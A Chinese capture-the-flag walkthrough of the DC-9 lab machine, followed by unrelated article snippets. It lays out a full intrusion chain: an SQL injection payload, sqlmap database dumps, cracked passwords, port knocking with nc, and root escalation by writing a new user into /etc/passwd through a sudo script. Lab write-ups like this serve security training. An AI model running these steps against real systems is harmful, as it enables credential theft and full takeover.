DC-9 靶机

news2024/12/27 12:00:52

DC_9

信息搜集

存活检测

image-20231024215650779

详细扫描

image-20231024215713222

后台网页扫描

image-20231024215731984

漏洞利用

漏洞发现

  • 在 search 页面的输入框尝试 sql 注入

    1' or 1=1#
    

    image-20231024220118367

    返回大量数据

  • sqlmap 爆破数据库

    sqlmap -u http://10.4.7.154/search.php --dbs --batch  
    

    爆破失败,显示未找到参数

    image-20231024220848077

  • 抓包查看

    image-20231024221030943

  • 爆破数据库

    # 查数据库:
    sqlmap -u http://10.4.7.154/results.php --data 'search=1' --dbs --batch  
    

    image-20231025090035192

Staff 数据库

  • 爆破表

    #查表:
    sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D Staff -tables --batch
    

    image-20231025090209829

  • 爆破表中数据

    sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D Staff -T Users --dump
    

    爆破出一条 admin 数据

    image-20231025090516581

  • 密码为 transorbital1

    856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)
    

users 数据库

  • 爆表

    sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -tables --batch
    

    image-20231025092039018

  • 爆数据

    sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -T UserDetails --dump
    

    image-20231025092142004

  • 筛选用户名

    sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -T UserDetails -C username --dump
    
  • 筛选密码

    sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -T UserDetails -C password --dump
    
  • 将用户名密码分别保存到 user.txt 和 password.txt 文件中

  • ssh 爆破,显示被拒绝

    image-20231025103350952

  • 查阅资料

    SSH 的 knockd 是一种基于端口“敲门”(port knocking)的安全措施,它可以在不暴露 SSH 服务端口的情况下,允许合法用户通过特定的端口序列访问 SSH 服务。

    具体来说,knockd 通过监听特定的端口序列,当用户按照正确的顺序敲击这些端口时,会自动解除对 SSH 服务端口的阻止,从而允许用户访问 SSH 服务。这种方法可以有效地隐藏 SSH 服务,避免暴露在公网中,从而提高系统的安全性。

网页信息搜集

  • 登录网页

    admin
    transorbital1
    

    image-20231025090918260

  • 发现最下方出现“文件不存在”字样

    image-20231025125832824

  • 尝试文件读取

    image-20231025130603947

  • 读取 knockd.conf 文件

    image-20231025130802409

  • 敲击这三个端口打开 ssh

    nc 10.4.7.154 7469
    nc 10.4.7.154 8475
    nc 10.4.7.154 9842
    

    image-20231025131302748

  • 敲击后可成爆破

    image-20231025131349103

    login: chandlerb   password: UrAG0D!
    login: joeyt   password: Passw0rd
    login: janitor   password: Ilovepeepee
    

提权

  • 挨个用户登录,搜索提权相关信息

    最终在 janitor 登录后发现了一些密码

    image-20231025131835989

  • 使用这些密码再次爆破 user.txt

    image-20231025132304640

    有爆破出 fredf 用户

  • 登录 fredf 用户

    sudo -l 查看 root 权限

    image-20231025132527829

  • 查看 test

    vi /opt/devstuff/dist/test/test
    

    image-20231025132810910

  • 看不懂,运行一下

    给了提示

    image-20231025132920714

  • 查找 test.py

    find / -name test.py 2>/dev/null
    

    image-20231025133536592

  • 查看 test.py

    image-20231025133607691

    python 脚本实现了接受两个命令行参数,并将一个文件的内容读取并追加到另一个文件中

  • 尝试向 /etc/passwd 中添加 root 用户

    • 将用户信息写入 shell 文件

      image-20231025134530772

    • 使用有 root 权限的 /opt/devstuff/dist/test/test 写入

      sudo /opt/devstuff/dist/test/test shell /etc/passwd
      

      成功写入

      image-20231025134654040

  • 不支持无密码登录

    image-20231025134727219

  • 生成加密密码

    openssl passwd -1 -salt admin 123456
    

    openssl: 是一个开放源代码的加密工具包,提供了各种密码学功能和安全协议的实现。
    passwd: 是 OpenSSL 工具包中的一个命令,用于生成密码哈希值。
    -1: 表示使用 Unix 加密哈希算法(crypt)进行密码哈希。
    -salt admin: 指定盐值为 “admin”,盐值是一个随机字符串,用于增加密码哈希的安全性。
    123456: 是要加密的密码明文。

  • 重新编辑,添加到 /etc/passwd

    image-20231025140237059

  • 切换用户,提权成功

    image-20231025140322616

总结

  • sqlmap 爆破数据库若传参使用 POST 方法需要在 sqlmap 参数中添加 --data 'search=1'
  • ssh knockd 敲击

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1136131.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

iPhone手机屏幕分辨率

ios app测试时,需要测试应用在不同型号的苹果手机上的表现形式,可以自己在浏览器上配置。 代数设备逻辑像素尺寸缩放发布时间第一代iPhone 2G320 x 480480 x 3203.5寸1x2007年6月29日第二代iPhone 3320 x 480480 x 3203.5寸1x2008年7月11日第三代iPhone …

ThinkPHP8学习笔记

ThinkPHP8官方文档地址:ThinkPHP官方手册 一、composer换源 1、查看 composer 配置的命令composer config -g -l 2、禁用默认源镜像命令composer config -g secure-http false 3、修改为阿里云镜像源composer config -g repo.packagist composer https://mirror…

JoySSL-新兴国产品牌数字证书

随着我国对数据安全重视程度的不断提升,国产SSL证书越来越受到广大政府机关和企业的青睐,成为提升网站数据安全能力的重要技术手段。那么什么是国产SSL证书?国产SSL证书和普通SSL证书又有什么区别呢? 什么是国产SSL证书&#xff…

封神工具:腾讯云服务器价格计算器_好工具分享

腾讯云价格计算器:可以计算腾讯云服务器不同CVM实例规格、CPU内存、公网带宽和系统盘费用明细表,可以一键计算出精准报价明细表,腾讯云服务器网txyfwq.com分享大家腾讯云服务器价格计算器入口链接、使用方法及限制说明: 腾讯云服…

优思学院:六西格玛培训中的“绿带”和“黑带”

在当今竞争激烈的商业世界中,提高效率、减少浪费是每个组织都追求的目标。为了达到这一目标,六西格玛管理方法为组织提供了一个卓越的工具。在六西格玛培训中,我们经常会听到“绿带”和“黑带”这两个术语。那么,究竟什么是绿带和…

现代挖掘机vr在线互动展示厅是实现业务增长的加速度

VR数字博物馆全景展示充分应用5G、VR全景、web3d开发和三维动画等技术,将实体博物馆整体还原到3D数字空间,让游客360全景漫游式参观,无论大小、贵重、破损的典藏展品都能通过3D建模技术,逼真重现到三维虚拟场景中,让参…

VSCode汉化设置

扩展中搜索并安装 Chinese… 快捷键 commandshiftp,输入框中输入config,选择Config Display Language 选择zh-cn,重启vscode

红米电脑硬盘剪切

Redmi R14 2023版固态硬盘剪切 工具准备操作结尾语 首先要说明,本文所说的操作不一定适合你的电脑,因为电子产品更新换代过快,你的硬盘不一定能剪切,在操作前一定要仔细观察硬盘的型号,是否为同款,我上了图…

HarmonyOS鸿蒙原生应用开发设计- 流转图标

HarmonyOS设计文档中,为大家提供了独特的流转图标,开发者可以根据需要直接引用。 开发者直接使用官方提供的流转图标内容,既可以符合HarmonyOS原生应用的开发上架运营规范,又可以防止使用别人的图标侵权意外情况等,减…

TikTok文化探索:热议时事与社会话题

在当今数字时代,社交媒体平台如TikTok已经成为了我们日常生活中不可或缺的一部分。它不仅仅是一个娱乐应用,也是一扇窥视世界、探讨时事和社会话题的窗户。本文将深入探讨TikTok如何成为文化探索的平台,热议时事和社会话题,以及它…

LLVM学习笔记(50)

4.1.4. DAG合并与合法化 来自SelectionDAGBuilder的SelectionDAG输出还不能进行指令选择,必须通过额外的转换——显示在上图。在指令选择前应用的遍序列如下: 匹配一组节点,在有利时使用更简单的构造来替换它们,DAG合并遍优化Se…

基于NB-iot技术实现财物跟踪的EA01-SG定位模块方案

NB-iot无线数传模块可做财物防盗窃器,让你的财物可定位跟踪! 随着社会的发展,公共资源及共享资源的蓬勃发展,对资产管理和资产追踪有了新的需求,如:某儿童玩具车在商场外面提供车辆乘坐游玩服务&#xff0…

一、python基础语法

文章目录 1.Python介绍1)发明者龟叔2)python特点3)python缺点4)Python版本 2.Python解释器1)编译型和解释型2)常见的python解释器3)下载Python解释器4)安装Python解释器5&#xff09…

​软件测试知多少:Postman​接口自动化测试

Postman除了前面介绍的一些功能,还有其他一些小功能在日常接口测试或许用得上。今天,我们就来盘点一下,如下所示: 一、数据驱动 想要批量执行接口用例,我们一般会将对应的接口用例放在同一个Collection中&#xff0c…

11.初始JavaScript[初步了解何为js]

文章目录 1.初识 JavaScript1.1JavaScript 是什么1.2发展历史1.3JavaScript 和 HTML 和 CSS 之间的关系1.4JavaScript 运行过程1.5JavaScript 的组成 2.前置知识2.1第一个程序2.2JavaScript 的书写形式2.2.1行内式2.2.2内嵌式2.2.3外部式 2.3注释2.4输入输出2.4.1输入: prompt2…

WSL重装Anaconda

第一次安装使用的是官网下载的文件,存放在Windows中进行安装的,结果安装后有一些小错误,现在想重新安装过。 一、卸载原Anaconda 首先要知道Anaconda的安装地址,默认地址为:C:\Users\用户名\AppData\Local\Packages\…

Linux ————​文件权限

(一)文件权限 基础补充 文件基本属性(Linux中万物皆是文件)文件是操作系统用来存储信息的基本结构,是一组信息的集合。文件通过文件名来唯一标识。Linux中的文件名称最长允许255个字符,这些字符可用A~Z、0…

【小程序图片水印】微信小程序图片加水印功能 canvas绘图

看看效果 实现步骤: 1.选择图片 /* 选择背景图片 对图片的大小以及类型做一下限制 */ chooseImage(e) {uni.chooseImage({count: 1,success: (res) > {let index res.tempFilePaths[0].lastIndexOf(".");let imgUrl res.tempFilePaths[0].substr(i…

【设计模式】第3节:设计模式概论

设计模式不是代码,而是某类问题的通用方案。设计模式的本质是提高软件的维护性、通用性和扩展性,并降低软件的复杂度。一共有24种设计模式,可以分为创建型模式、结构型模式和行为型模式三大类。设计模式中比较重要的有:单例模式、…

seata at模式死锁

背景 mysql版本为5.7,在mysql的系统表中,有一个lock_deadlocks的指标 SELECT * FROM INFORMATION_SCHEMA.INNODB_METRICS WHERE name LIKE %deadlock%该指标的count值记录了数据库实例从启动到现在的死锁次数,我们通过普罗米修斯的mysql探针&#xff0…